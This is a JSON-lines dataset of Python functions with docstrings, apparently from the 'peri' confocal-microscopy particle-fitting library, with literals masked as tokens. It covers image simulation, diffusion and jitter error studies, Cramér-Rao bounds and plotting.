{"signature": "def pole_removal(noise, poles=None, sig=<NUM_LIT:3>):", "body": "center = np.array(noise.shape)/<NUM_LIT:2><EOL>v = np.rollaxis(<EOL>np.array(<EOL>np.meshgrid(*(np.arange(s) for s in noise.shape), indexing='<STR_LIT>')<EOL>), <NUM_LIT:0>, <NUM_LIT:3><EOL>).astype(\"<STR_LIT:float>\")<EOL>filter = np.zeros_like(noise, dtype='<STR_LIT:float>')<EOL>for p in poles:<EOL><INDENT>for pp in [p, center - (p-center)]:<EOL><INDENT>dist = ((v-pp)**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>)<EOL>filter += np.exp(-dist / (<NUM_LIT:2>*sig**<NUM_LIT:2>))<EOL><DEDENT><DEDENT>filter[filter > <NUM_LIT:1>] = <NUM_LIT:1><EOL>return noise*(<NUM_LIT:1>-filter)<EOL>", "docstring": "Remove the noise poles from a 2d noise distribution to show that affects\nthe real-space noise picture.  \n\nnoise -- fftshifted 2d array of q values\n\npoles -- N,2 list of pole locations. the last index is in the order y,x as\ndetermined by mpl interactive plots\n\nfor example: poles = np.array([[190,277], [227,253], [233, 256]]", "id": "f5788:m4"}
{"signature": "def scramble_positions(p, delete_frac=<NUM_LIT:0.1>):", "body": "probs = [<NUM_LIT:1>-delete_frac, delete_frac]<EOL>m = np.random.choice([True, False], p.shape[<NUM_LIT:0>], p=probs)<EOL>jumble = np.random.randn(m.sum(), <NUM_LIT:3>)<EOL>return p[m] + jumble<EOL>", "docstring": "randomly deletes particles and adds 1-px noise for a realistic\n    initial featuring guess", "id": "f5790:m0"}
{"signature": "def create_img():", "body": "<EOL>rad = <NUM_LIT:0.5> * np.random.randn(POS.shape[<NUM_LIT:0>]) + <NUM_LIT>  <EOL>part = objs.PlatonicSpheresCollection(POS, rad, zscale=<NUM_LIT>)<EOL>slab = objs.Slab(zpos=<NUM_LIT>, angles=(-<NUM_LIT>, -<NUM_LIT>))<EOL>objects = comp.ComponentCollection([part, slab], category='<STR_LIT>')<EOL>p = exactpsf.FixedSSChebLinePSF(kfki=<NUM_LIT>, zslab=-<NUM_LIT>, alpha=<NUM_LIT>,<EOL>n2n1=<NUM_LIT>, sigkf=-<NUM_LIT>, zscale=<NUM_LIT>, laser_wavelength=<NUM_LIT>)<EOL>i = ilms.BarnesStreakLegPoly2P1D(npts=(<NUM_LIT:16>,<NUM_LIT:10>,<NUM_LIT:8>,<NUM_LIT:4>), zorder=<NUM_LIT:8>)<EOL>b = ilms.LegendrePoly2P1D(order=(<NUM_LIT:7>,<NUM_LIT:2>,<NUM_LIT:2>), category='<STR_LIT>')<EOL>off = comp.GlobalScalar(name='<STR_LIT>', value=-<NUM_LIT>)<EOL>mdl = models.ConfocalImageModel()<EOL>st = states.ImageState(util.NullImage(shape=[<NUM_LIT>,<NUM_LIT:64>,<NUM_LIT:64>]),<EOL>[objects, p, i, b, off], mdl=mdl, model_as_data=True)<EOL>b.update(b.params, BKGVALS)<EOL>i.update(i.params, ILMVALS)<EOL>im = st.model + np.random.randn(*st.model.shape) * <NUM_LIT><EOL>return util.Image(im)<EOL>", "docstring": "Creates an image, as a `peri.util.Image`, which is similar\n    to the image in the tutorial", "id": "f5790:m1"}
{"signature": "def makestate(im, pos, rad, slab=None, mem_level='<STR_LIT>'):", "body": "if slab is not None:<EOL><INDENT>o = comp.ComponentCollection(<EOL>[<EOL>objs.PlatonicSpheresCollection(pos, rad, zscale=zscale),<EOL>slab<EOL>],<EOL>category='<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>o = objs.PlatonicSpheresCollection(pos, rad, zscale=zscale)<EOL><DEDENT>p = exactpsf.FixedSSChebLinePSF()<EOL>npts, iorder = _calc_ilm_order(im.get_image().shape)<EOL>i = ilms.BarnesStreakLegPoly2P1D(npts=npts, zorder=iorder)<EOL>b = ilms.LegendrePoly2P1D(order=(<NUM_LIT:9> ,<NUM_LIT:3>, <NUM_LIT:5>), category='<STR_LIT>')<EOL>c = comp.GlobalScalar('<STR_LIT>', <NUM_LIT:0.0>)<EOL>s = states.ImageState(im, [o, i, b, c, p])<EOL>runner.link_zscale(s)<EOL>if mem_level != '<STR_LIT>':<EOL><INDENT>s.set_mem_level(mem_level)<EOL><DEDENT>opt.do_levmarq(s, ['<STR_LIT>'], max_iter=<NUM_LIT:1>, run_length=<NUM_LIT:6>, max_mem=<NUM_LIT>)<EOL>return s<EOL>", "docstring": "Workhorse for creating & optimizing states with an initial centroid\nguess.\n\nThis is an example function that works for a particular microscope. For\nyour own microscope, you'll need to change particulars such as the psf\ntype and the orders of the background and illumination.\n\nParameters\n----------\n    im : :class:`~peri.util.RawImage`\n        A RawImage of the data.\n    pos : [N,3] element numpy.ndarray.\n        The initial guess for the N particle positions.\n    rad : N element numpy.ndarray.\n        The initial guess for the N particle radii.\n\n    slab : :class:`peri.comp.objs.Slab` or None, optional\n        If not None, a slab corresponding to that in the image. Default\n        is None.\n    mem_level : {'lo', 'med-lo', 'med', 'med-hi', 'hi'}, optional\n        A valid memory level for the state to control the memory overhead\n        at the expense of accuracy. Default is `'hi'`\n\nReturns\n-------\n    :class:`~peri.states.ImageState`\n        An ImageState with a linked z-scale, a ConfocalImageModel, and\n        all the necessary components with orders at which are useful for\n        my particular test case.", "id": "f5793:m0"}
{"signature": "def _calc_ilm_order(imshape):", "body": "zorder = int(imshape[<NUM_LIT:0>] / <NUM_LIT>) + <NUM_LIT:1><EOL>l_npts = int(imshape[<NUM_LIT:1>] / <NUM_LIT>)+<NUM_LIT:1><EOL>npts = ()<EOL>for a in range(l_npts):<EOL><INDENT>if a < <NUM_LIT:5>:<EOL><INDENT>npts += (int(imshape[<NUM_LIT:2>] * [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>][a]/<NUM_LIT>) + <NUM_LIT:1>,)<EOL><DEDENT>else:<EOL><INDENT>npts += (int(imshape[<NUM_LIT:2>] * <NUM_LIT:11>/<NUM_LIT>) + <NUM_LIT:1>,)<EOL><DEDENT><DEDENT>return npts, zorder<EOL>", "docstring": "Calculates an ilm order based on the shape of an image. This is based on\nsomething that works for our particular images. Your mileage will vary.\n\nParameters\n----------\n    imshape : 3-element list-like\n        The shape of the image.\n\nReturns\n-------\n    npts : tuple\n        The number of points to use for the ilm.\n    zorder : int\n        The order of the z-polynomial.", "id": "f5793:m1"}
{"signature": "def diffusion(diffusion_constant=<NUM_LIT>, exposure_time=<NUM_LIT>, samples=<NUM_LIT:200>):", "body": "radius = <NUM_LIT:5><EOL>psfsize = np.array([<NUM_LIT>, <NUM_LIT:1.0>, <NUM_LIT>])<EOL>s0 = init.create_single_particle_state(imsize=<NUM_LIT:4>*radius, <EOL>radius=radius, psfargs={'<STR_LIT>': psfsize, '<STR_LIT:error>': <NUM_LIT>})<EOL>finalimage = <NUM_LIT:0>*s0.get_model_image()[s0.inner]<EOL>position = <NUM_LIT:0>*s0.obj.pos[<NUM_LIT:0>]<EOL>for i in range(samples):<EOL><INDENT>offset = np.sqrt(<NUM_LIT:6>*diffusion_constant*exposure_time)*np.random.randn(<NUM_LIT:3>)<EOL>s0.obj.pos[<NUM_LIT:0>] = np.array(s0.image.shape)/<NUM_LIT:2> + offset<EOL>s0.reset()<EOL>finalimage += s0.get_model_image()[s0.inner]<EOL>position += s0.obj.pos[<NUM_LIT:0>]<EOL><DEDENT>finalimage /= float(samples)<EOL>position /= float(samples)<EOL>s = init.create_single_particle_state(imsize=<NUM_LIT:4>*radius, sigma=<NUM_LIT>,<EOL>radius=radius, psfargs={'<STR_LIT>': psfsize, '<STR_LIT:error>': <NUM_LIT>})<EOL>s.reset()<EOL>return s, finalimage, position<EOL>", "docstring": "See `diffusion_correlated` for information related to units, etc", "id": "f5794:m0"}
{"signature": "def diffusion_correlated(diffusion_constant=<NUM_LIT>, exposure_time=<NUM_LIT>,<EOL>samples=<NUM_LIT>, phi=<NUM_LIT>):", "body": "radius = <NUM_LIT:5><EOL>psfsize = np.array([<NUM_LIT>, <NUM_LIT:1.0>, <NUM_LIT>])/<NUM_LIT:2><EOL>pos, rad, tile = nbody.initialize_particles(N=<NUM_LIT:50>, phi=phi, polydispersity=<NUM_LIT:0.0>)<EOL>sim = nbody.BrownianHardSphereSimulation(<EOL>pos, rad, tile, D=diffusion_constant, dt=exposure_time/samples<EOL>)<EOL>sim.dt = <NUM_LIT><EOL>sim.relax(<NUM_LIT>)<EOL>sim.dt = exposure_time/samples<EOL>c = ((sim.pos - sim.tile.center())**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>).argmin()<EOL>pc = sim.pos[c].copy()<EOL>sim.pos[c] = sim.pos[<NUM_LIT:0>]<EOL>sim.pos[<NUM_LIT:0>] = pc<EOL>mask = np.zeros_like(sim.rad).astype('<STR_LIT:bool>')<EOL>neigh = sim.neighbors(<NUM_LIT:3>*radius, <NUM_LIT:0>)<EOL>for i in neigh+[<NUM_LIT:0>]:<EOL><INDENT>mask[i] = True<EOL><DEDENT>img = np.zeros(sim.tile.shape)<EOL>s0 = runner.create_state(img, sim.pos, sim.rad, ignoreimage=True)<EOL>finalimage = <NUM_LIT:0>*s0.get_model_image()[s0.inner]<EOL>position = <NUM_LIT:0>*s0.obj.pos<EOL>for i in range(samples):<EOL><INDENT>sim.step(<NUM_LIT:1>, mask=mask)<EOL>s0.obj.pos = sim.pos.copy() + s0.pad<EOL>s0.reset()<EOL>finalimage += s0.get_model_image()[s0.inner]<EOL>position += s0.obj.pos<EOL><DEDENT>finalimage /= float(samples)<EOL>position /= float(samples)<EOL>s = runner.create_state(img, sim.pos, sim.rad, ignoreimage=True)<EOL>s.reset()<EOL>return s, finalimage, position<EOL>", "docstring": "Calculate the (perhaps) correlated diffusion effect between particles\nduring the exposure time of the confocal microscope. diffusion_constant is\nin terms of seconds and pixel sizes exposure_time is in seconds\n\n1 micron radius particle:\n    D = kT / (6 a\\pi\\eta)\n    for 80/20 g/w (60 mPas), 3600 nm^2/sec ~ 0.15 px^2/sec\n    for 100 % w  (0.9 mPas),               ~ 10.1 px^2/sec\na full 60 layer scan takes 0.1 sec, so a particle is 0.016 sec exposure", "id": "f5794:m1"}
{"signature": "def dorun(SNR=<NUM_LIT:20>, ntimes=<NUM_LIT:20>, samples=<NUM_LIT:10>, noise_samples=<NUM_LIT:10>, sweeps=<NUM_LIT:20>, burn=<NUM_LIT:10>,<EOL>correlated=False):", "body": "if not correlated:<EOL><INDENT>times = np.logspace(-<NUM_LIT:3>, <NUM_LIT:0>, ntimes)<EOL><DEDENT>else:<EOL><INDENT>times = np.logspace(np.log10(<NUM_LIT>), np.log10(<NUM_LIT:30>), ntimes)<EOL><DEDENT>crbs, vals, errs, poss = [], [], [], []<EOL>for i,t in enumerate(times):<EOL><INDENT>print('<STR_LIT>', i, t)<EOL>for j in range(samples):<EOL><INDENT>print('<STR_LIT:image>', j, '<STR_LIT:|>', end='<STR_LIT:U+0020>') <EOL>if not correlated:<EOL><INDENT>s,im,pos = diffusion(diffusion_constant=<NUM_LIT>, exposure_time=t)<EOL><DEDENT>else:<EOL><INDENT>s,im,pos = diffusion_correlated(diffusion_constant=<NUM_LIT>, exposure_time=t)<EOL><DEDENT>common.set_image(s, im, <NUM_LIT:1.0>/SNR)<EOL>crbs.append(common.crb(s))<EOL>val, err = common.sample(s, im, <NUM_LIT:1.0>/SNR, N=noise_samples, sweeps=sweeps, burn=burn)<EOL>poss.append(pos)<EOL>vals.append(val)<EOL>errs.append(err)<EOL><DEDENT><DEDENT>shape0 = (ntimes, samples, -<NUM_LIT:1>)<EOL>shape1 = (ntimes, samples, noise_samples, -<NUM_LIT:1>)<EOL>crbs = np.array(crbs).reshape(shape0)<EOL>vals = np.array(vals).reshape(shape1)<EOL>errs = np.array(errs).reshape(shape1)<EOL>poss = np.array(poss).reshape(shape0)<EOL>return  [crbs, vals, errs, poss, times]<EOL>", "docstring": "we want to display the errors introduced by pixelation so we plot:\n    * CRB, sampled error vs exposure time\n\na = dorun(ntimes=10, samples=5, noise_samples=5, sweeps=20, burn=8)", "id": "f5794:m2"}
{"signature": "def missing_particle(separation=<NUM_LIT:0.0>, radius=RADIUS, SNR=<NUM_LIT:20>):", "body": "<EOL>s = init.create_two_particle_state(imsize=<NUM_LIT:6>*radius+<NUM_LIT:4>, axis='<STR_LIT:x>', sigma=<NUM_LIT:1.0>/SNR,<EOL>delta=separation, radius=radius, stateargs={'<STR_LIT>': True}, psfargs={'<STR_LIT:error>': <NUM_LIT>})<EOL>s.obj.typ[<NUM_LIT:1>] = <NUM_LIT:0.><EOL>s.reset()<EOL>return s, s.obj.pos.copy()<EOL>", "docstring": "create a two particle state and compare it to featuring using a single particle guess", "id": "f5796:m0"}
{"signature": "def dorun(SNR=<NUM_LIT:20>, sweeps=<NUM_LIT:20>, burn=<NUM_LIT:8>, noise_samples=<NUM_LIT:10>):", "body": "radii = np.linspace(<NUM_LIT:2>,<NUM_LIT:10>,<NUM_LIT:8>, endpoint=False)<EOL>crbs, vals, errs = [], [], []<EOL>for radius in radii:<EOL><INDENT>print('<STR_LIT>', radius)<EOL>s,im = pxint(radius=radius, factor=<NUM_LIT:4>)<EOL>goodstate = s.state.copy()<EOL>common.set_image(s, im, <NUM_LIT:1.0>/SNR)<EOL>tcrb = crb(s)<EOL>tval, terr = sample(s, im, <NUM_LIT:1.0>/SNR, N=noise_samples, sweeps=sweeps, burn=burn)<EOL>crbs.append(tcrb)<EOL>vals.append(tval)<EOL>errs.append(terr)<EOL><DEDENT>return np.array(crbs), np.array(vals), np.array(errs), radii<EOL>", "docstring": "we want to display the errors introduced by pixelation so we plot:\n    * zero noise, cg image, fit\n    * SNR 20, cg image, fit\n    * CRB for both\n\na = dorun(noise_samples=30, sweeps=24, burn=12, SNR=20)", "id": "f5797:m1"}
{"signature": "def perfect_platonic_per_pixel(N, R, scale=<NUM_LIT:11>, pos=None, zscale=<NUM_LIT:1.0>, returnpix=None):", "body": "<EOL>if scale % <NUM_LIT:2> != <NUM_LIT:1>:<EOL><INDENT>scale += <NUM_LIT:1><EOL><DEDENT>if pos is None:<EOL><INDENT>pos = np.array([(N-<NUM_LIT:1>)/<NUM_LIT>]*<NUM_LIT:3>)<EOL><DEDENT>s = <NUM_LIT:1.0>/scale<EOL>f = zscale**<NUM_LIT:2><EOL>i = pos.astype('<STR_LIT:int>')<EOL>p = i + s*((pos - i)/s).astype('<STR_LIT:int>')<EOL>pos = p + <NUM_LIT> <EOL>image = np.zeros((N,)*<NUM_LIT:3>)<EOL>x,y,z = np.meshgrid(*(range(N),)*<NUM_LIT:3>, indexing='<STR_LIT>')<EOL>for x0,y0,z0 in zip(x.flatten(),y.flatten(),z.flatten()):<EOL><INDENT>ddd = np.sqrt(f*(x0-pos[<NUM_LIT:0>])**<NUM_LIT:2> + (y0-pos[<NUM_LIT:1>])**<NUM_LIT:2> + (z0-pos[<NUM_LIT:2>])**<NUM_LIT:2>)<EOL>if ddd > R + <NUM_LIT:4>:<EOL><INDENT>image[x0,y0,z0] = <NUM_LIT:0.0><EOL>continue<EOL><DEDENT>xp,yp,zp = np.meshgrid(<EOL>*(np.linspace(i-<NUM_LIT:0.5>+s/<NUM_LIT:2>, i+<NUM_LIT:0.5>-s/<NUM_LIT:2>, scale, endpoint=True) for i in (x0,y0,z0)),<EOL>indexing='<STR_LIT>'<EOL>)<EOL>ddd = np.sqrt(f*(xp-pos[<NUM_LIT:0>])**<NUM_LIT:2> + (yp-pos[<NUM_LIT:1>])**<NUM_LIT:2> + (zp-pos[<NUM_LIT:2>])**<NUM_LIT:2>)<EOL>if returnpix is not None and returnpix == [x0,y0,z0]:<EOL><INDENT>outpix = <NUM_LIT:1.0> * (ddd < R)<EOL><DEDENT>vol = (<NUM_LIT:1.0>*(ddd < R) + <NUM_LIT:0.0>*(ddd == R)).sum()<EOL>image[x0,y0,z0] = vol / float(scale**<NUM_LIT:3>)<EOL><DEDENT>if returnpix:<EOL><INDENT>return image, pos, outpix<EOL><DEDENT>return image, pos<EOL>", "docstring": "Create a perfect platonic sphere of a given radius R by supersampling by a\nfactor scale on a grid of size N.  Scale must be odd.\n\nWe are able to perfectly position these particles up to 1/scale. Therefore,\nlet's only allow those types of shifts for now, but return the actual position\nused for the placement.", "id": "f5798:m5"}
{"signature": "def translate_fourier(image, dx):", "body": "N = image.shape[<NUM_LIT:0>]<EOL>f = <NUM_LIT:2>*np.pi*np.fft.fftfreq(N)<EOL>kx,ky,kz = np.meshgrid(*(f,)*<NUM_LIT:3>, indexing='<STR_LIT>')<EOL>kv = np.array([kx,ky,kz]).T<EOL>q = np.fft.fftn(image)*np.exp(-<NUM_LIT>*(kv*dx).sum(axis=-<NUM_LIT:1>)).T<EOL>return np.real(np.fft.ifftn(q))<EOL>", "docstring": "Translate an image in fourier-space with plane waves", "id": "f5798:m6"}
{"signature": "def doplot(image0, image1, xs, crbs, errors, labels, diff_image_scale=<NUM_LIT:0.1>,<EOL>dolabels=True, multiple_crbs=True, xlim=None, ylim=None, highlight=None,<EOL>detailed_labels=False, xlabel=\"<STR_LIT>\", title=\"<STR_LIT>\"):", "body": "if len(crbs) != len(errors) or len(crbs) != len(labels):<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT>fig = pl.figure(figsize=(<NUM_LIT>,<NUM_LIT:7>))<EOL>ax = fig.add_axes([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL>gs = ImageGrid(fig, rect=[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>], nrows_ncols=(<NUM_LIT:2>,<NUM_LIT:1>), axes_pad=<NUM_LIT>,<EOL>cbar_location='<STR_LIT:right>', cbar_mode='<STR_LIT>', cbar_size='<STR_LIT>', cbar_pad=<NUM_LIT>)<EOL>diffm = diff_image_scale*np.ceil(np.abs(image1).max()/diff_image_scale)<EOL>im0 = gs[<NUM_LIT:0>].imshow(image0, vmin=<NUM_LIT:0>, vmax=<NUM_LIT:1>, cmap='<STR_LIT>')<EOL>im1 = gs[<NUM_LIT:1>].imshow(image1, vmin=-diffm, vmax=diffm, cmap='<STR_LIT>')<EOL>cb0 = pl.colorbar(im0, cax=gs[<NUM_LIT:0>].cax, ticks=[<NUM_LIT:0>,<NUM_LIT:1>])<EOL>cb1 = pl.colorbar(im1, cax=gs[<NUM_LIT:1>].cax, ticks=[-diffm,diffm]) <EOL>cb0.ax.set_yticklabels(['<STR_LIT:0>', '<STR_LIT:1>'])<EOL>cb1.ax.set_yticklabels(['<STR_LIT>' % diffm, '<STR_LIT>' % diffm])<EOL>image_names = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>for i in range(<NUM_LIT:2>):<EOL><INDENT>gs[i].set_xticks([])<EOL>gs[i].set_yticks([])<EOL>gs[i].set_ylabel(image_names[i])<EOL>if dolabels:<EOL><INDENT>lbl(gs[i], figlbl[i])<EOL><DEDENT><DEDENT>symbols = ['<STR_LIT:o>', '<STR_LIT>', '<STR_LIT:D>', '<STR_LIT:>>']<EOL>for i in range(len(labels)):<EOL><INDENT>c = COLORS[i]<EOL>if multiple_crbs or i == <NUM_LIT:0>:<EOL><INDENT>if multiple_crbs:<EOL><INDENT>label = labels[i] if (i != <NUM_LIT:0> and not detailed_labels) else '<STR_LIT>' % labels[i]<EOL><DEDENT>else:<EOL><INDENT>label = '<STR_LIT>'<EOL><DEDENT>ax.plot(xs[i], crbs[i], '<STR_LIT:->', c=c, lw=<NUM_LIT:3>, label=label)<EOL><DEDENT>label = labels[i] if (i != <NUM_LIT:0> and not detailed_labels) else '<STR_LIT>' % labels[i]<EOL>ax.plot(xs[i], errors[i], symbols[i], ls='<STR_LIT>', lw=<NUM_LIT:2>, c=c, label=label, ms=<NUM_LIT:12>)<EOL><DEDENT>if dolabels:<EOL><INDENT>lbl(ax, '<STR_LIT:D>')<EOL><DEDENT>ax.loglog()<EOL>if xlim:<EOL><INDENT>ax.set_xlim(xlim)<EOL><DEDENT>if ylim:<EOL><INDENT>ax.set_ylim(ylim)<EOL><DEDENT>ax.legend(loc='<STR_LIT>', ncol=<NUM_LIT:2>, prop={'<STR_LIT:size>': <NUM_LIT>}, numpoints=<NUM_LIT:1>)<EOL>ax.set_xlabel(xlabel)<EOL>ax.set_ylabel(r\"<STR_LIT>\")<EOL>ax.grid(False, which='<STR_LIT>', axis='<STR_LIT>')<EOL>ax.set_title(title)<EOL>return gs, ax<EOL>", "docstring": "Standardizing the plot format of the does_matter section.  See any of the\naccompaning files to see how to use this generalized plot.\n\nimage0 : ground true\nimage1 : difference image\nxs : list of x values for the plots\ncrbs : list of lines of values of the crbs\nerrors : list of lines of errors\nlabels : legend labels for each curve", "id": "f5798:m11"}
{"signature": "def create_comparison_state(image, position, radius=<NUM_LIT>, snr=<NUM_LIT:20>,<EOL>method='<STR_LIT>', extrapad=<NUM_LIT:2>, zscale=<NUM_LIT:1.0>):", "body": "<EOL>image = common.pad(image, extrapad, <NUM_LIT:0>)<EOL>s = init.create_single_particle_state(imsize=np.array(image.shape), sigma=<NUM_LIT:1.0>/snr,<EOL>radius=radius, psfargs={'<STR_LIT>': np.array([<NUM_LIT>, <NUM_LIT:1.0>, <NUM_LIT>]), '<STR_LIT:error>': <NUM_LIT>, '<STR_LIT>': <NUM_LIT:2>},<EOL>objargs={'<STR_LIT>': method}, stateargs={'<STR_LIT>': False, '<STR_LIT>': <NUM_LIT:4>, '<STR_LIT>': zscale})<EOL>s.obj.pos[<NUM_LIT:0>] = position + s.pad + extrapad<EOL>s.reset()<EOL>s.model_to_true_image()<EOL>timage = <NUM_LIT:1>-np.pad(image, s.pad, mode='<STR_LIT>', constant_values=<NUM_LIT:0>)<EOL>timage = s.psf.execute(timage)<EOL>return s, timage[s.inner]<EOL>", "docstring": "Take a platonic image and position and create a state which we can\nuse to sample the error for peri. Also return the blurred platonic\nimage so we can vary the noise on it later", "id": "f5799:m0"}
{"signature": "def dorun(method, platonics=None, nsnrs=<NUM_LIT:20>, noise_samples=<NUM_LIT:30>, sweeps=<NUM_LIT:30>, burn=<NUM_LIT:15>):", "body": "sigmas = np.logspace(np.log10(<NUM_LIT:1.0>/<NUM_LIT>), <NUM_LIT:0>, nsnrs)<EOL>crbs, vals, errs, poss = [], [], [], []<EOL>for sigma in sigmas:<EOL><INDENT>print(\"<STR_LIT>\", sigma)<EOL>for i, (image, pos) in enumerate(platonics):<EOL><INDENT>print('<STR_LIT:image>', i, '<STR_LIT:|>', end='<STR_LIT:U+0020>') <EOL>s,im = create_comparison_state(image, pos, method=method)<EOL>set_image(s, im, sigma)<EOL>crbs.append(crb(s))<EOL>val, err = sample(s, im, sigma, N=noise_samples, sweeps=sweeps, burn=burn)<EOL>poss.append(pos)<EOL>vals.append(val)<EOL>errs.append(err)<EOL><DEDENT><DEDENT>shape0 = (nsnrs, len(platonics), -<NUM_LIT:1>)<EOL>shape1 = (nsnrs, len(platonics), noise_samples, -<NUM_LIT:1>)<EOL>crbs = np.array(crbs).reshape(shape0)<EOL>vals = np.array(vals).reshape(shape1)<EOL>errs = np.array(errs).reshape(shape1)<EOL>poss = np.array(poss).reshape(shape0)<EOL>return  [crbs, vals, errs, poss, sigmas]<EOL>", "docstring": "platonics = create_many_platonics(N=50)\ndorun(platonics)", "id": "f5799:m1"}
{"signature": "def zjitter(jitter=<NUM_LIT:0.0>, radius=<NUM_LIT:5>):", "body": "psfsize = np.array([<NUM_LIT>, <NUM_LIT:1.0>, <NUM_LIT>])<EOL>s0 = init.create_single_particle_state(imsize=<NUM_LIT:4>*radius, <EOL>radius=radius, psfargs={'<STR_LIT>': psfsize, '<STR_LIT:error>': <NUM_LIT>})<EOL>sl = np.s_[s0.pad:-s0.pad,s0.pad:-s0.pad,s0.pad:-s0.pad]<EOL>finalimage = <NUM_LIT:0>*s0.get_model_image()[sl]<EOL>position = <NUM_LIT:0>*s0.obj.pos[<NUM_LIT:0>]<EOL>for i in range(finalimage.shape[<NUM_LIT:0>]):<EOL><INDENT>offset = jitter*np.random.randn(<NUM_LIT:3>)*np.array([<NUM_LIT:1>,<NUM_LIT:0>,<NUM_LIT:0>])<EOL>s0.obj.pos[<NUM_LIT:0>] = np.array(s0.image.shape)/<NUM_LIT:2> + offset<EOL>s0.reset()<EOL>finalimage[i] = s0.get_model_image()[sl][i]<EOL>position += s0.obj.pos[<NUM_LIT:0>]<EOL><DEDENT>position /= float(finalimage.shape[<NUM_LIT:0>])<EOL>s = init.create_single_particle_state(imsize=<NUM_LIT:4>*radius, sigma=<NUM_LIT>,<EOL>radius=radius, psfargs={'<STR_LIT>': psfsize, '<STR_LIT:error>': <NUM_LIT>})<EOL>s.reset()<EOL>return s, finalimage, position<EOL>", "docstring": "scan jitter is in terms of the fractional pixel difference when\nmoving the laser in the z-direction", "id": "f5800:m0"}
{"signature": "def dorun(SNR=<NUM_LIT:20>, njitters=<NUM_LIT:20>, samples=<NUM_LIT:10>, noise_samples=<NUM_LIT:10>, sweeps=<NUM_LIT:20>, burn=<NUM_LIT:10>):", "body": "jitters = np.logspace(-<NUM_LIT:6>, np.log10(<NUM_LIT:0.5>), njitters)<EOL>crbs, vals, errs, poss = [], [], [], []<EOL>for i,t in enumerate(jitters):<EOL><INDENT>print('<STR_LIT>', i, t)<EOL>for j in range(samples):<EOL><INDENT>print('<STR_LIT:image>', j, '<STR_LIT:|>', end='<STR_LIT:U+0020>') <EOL>s,im,pos = zjitter(jitter=t)<EOL>common.set_image(s, im, <NUM_LIT:1.0>/SNR)<EOL>crbs.append(crb(s))<EOL>val, err = sample(s, im, <NUM_LIT:1.0>/SNR, N=noise_samples, sweeps=sweeps, burn=burn)<EOL>poss.append(pos)<EOL>vals.append(val)<EOL>errs.append(err)<EOL><DEDENT><DEDENT>shape0 = (njitters, samples, -<NUM_LIT:1>)<EOL>shape1 = (njitters, samples, noise_samples, -<NUM_LIT:1>)<EOL>crbs = np.array(crbs).reshape(shape0)<EOL>vals = np.array(vals).reshape(shape1)<EOL>errs = np.array(errs).reshape(shape1)<EOL>poss = np.array(poss).reshape(shape0)<EOL>return  [crbs, vals, errs, poss, jitters]<EOL>", "docstring": "we want to display the errors introduced by pixelation so we plot:\n    * CRB, sampled error vs exposure time\n\na = dorun(ntimes=10, samples=5, noise_samples=5, sweeps=20, burn=8)", "id": "f5800:m1"}
{"signature": "def fit_edge(separation, radius=<NUM_LIT>, samples=<NUM_LIT:100>, imsize=<NUM_LIT:64>, sigma=<NUM_LIT>, axis='<STR_LIT:z>'):", "body": "terrors = []<EOL>berrors = []<EOL>crbs = []<EOL>for sep in separation:<EOL><INDENT>print('<STR_LIT:=>'*<NUM_LIT>)<EOL>print('<STR_LIT>', sep, end='<STR_LIT:U+0020>')<EOL>s = init.create_two_particle_state(imsize, radius=radius, delta=sep, sigma=<NUM_LIT>,<EOL>axis='<STR_LIT:z>', psfargs={'<STR_LIT>': (<NUM_LIT>,<NUM_LIT:1.0>,<NUM_LIT>), '<STR_LIT:error>': <NUM_LIT>},<EOL>stateargs={'<STR_LIT>': True, '<STR_LIT>': const.PAD})<EOL>d = np.array([<NUM_LIT:0>,<NUM_LIT:0.5>,<NUM_LIT:0.5>])<EOL>s.obj.pos -= d<EOL>s.reset()<EOL>bl = s.blocks_particle(<NUM_LIT:0>)<EOL>s.update(bl[<NUM_LIT:0>], np.array([s.pad+radius]))<EOL>bl = s.blocks_particle(<NUM_LIT:1>)<EOL>s.update(bl[<NUM_LIT:0>], np.array([s.pad-radius]))<EOL>if axis == '<STR_LIT:z>':<EOL><INDENT>bl = s.blocks_particle(<NUM_LIT:1>)<EOL>s.update(bl[<NUM_LIT:0>], s.state[bl[<NUM_LIT:0>]]-sep)<EOL>s.model_to_true_image()<EOL><DEDENT>if axis == '<STR_LIT>':<EOL><INDENT>bl = s.blocks_particle(<NUM_LIT:1>)<EOL>s.update(bl[<NUM_LIT:2>], s.state[bl[<NUM_LIT:2>]]+sep)<EOL>s.model_to_true_image()<EOL><DEDENT>p = s.state[s.b_pos].reshape(-<NUM_LIT:1>,<NUM_LIT:3>).copy()<EOL>print(p[<NUM_LIT:0>], p[<NUM_LIT:1>])<EOL>bl = s.explode(s.b_pos)<EOL>crbs.append(np.sqrt(np.diag(np.linalg.inv(s.fisher_information(blocks=bl)))).reshape(-<NUM_LIT:1>,<NUM_LIT:3>))<EOL>tmp_tp, tmp_bf = [],[]<EOL>for i in range(samples):<EOL><INDENT>print(i)<EOL>bench.jiggle_particles(s, pos=p, sig=<NUM_LIT>, mask=np.array([<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>]))<EOL>t = bench.trackpy(s)<EOL>b = bench.bamfpy_positions(s, sweeps=<NUM_LIT:15>)<EOL>tmp_tp.append(bench.error(s, t))<EOL>tmp_bf.append(bench.error(s, b))<EOL><DEDENT>terrors.append(tmp_tp)<EOL>berrors.append(tmp_bf)<EOL><DEDENT>return np.array(crbs), np.array(terrors), np.array(berrors)<EOL>", "docstring": "axis is 'z' or 'xy'\nseps = np.linspace(0,2,20) 'z'\nseps = np.linspace(-2,2,20) 'xy'", "id": "f5803:m0"}
{"signature": "def get(self):", "body": "return self<EOL>", "docstring": "Since we wish to use the GaussianPSF in the model by calling P(D), the\nget function will simply return this object and we will override\n__call__ so that we can use P(...).", "id": "f5809:c1:m1"}
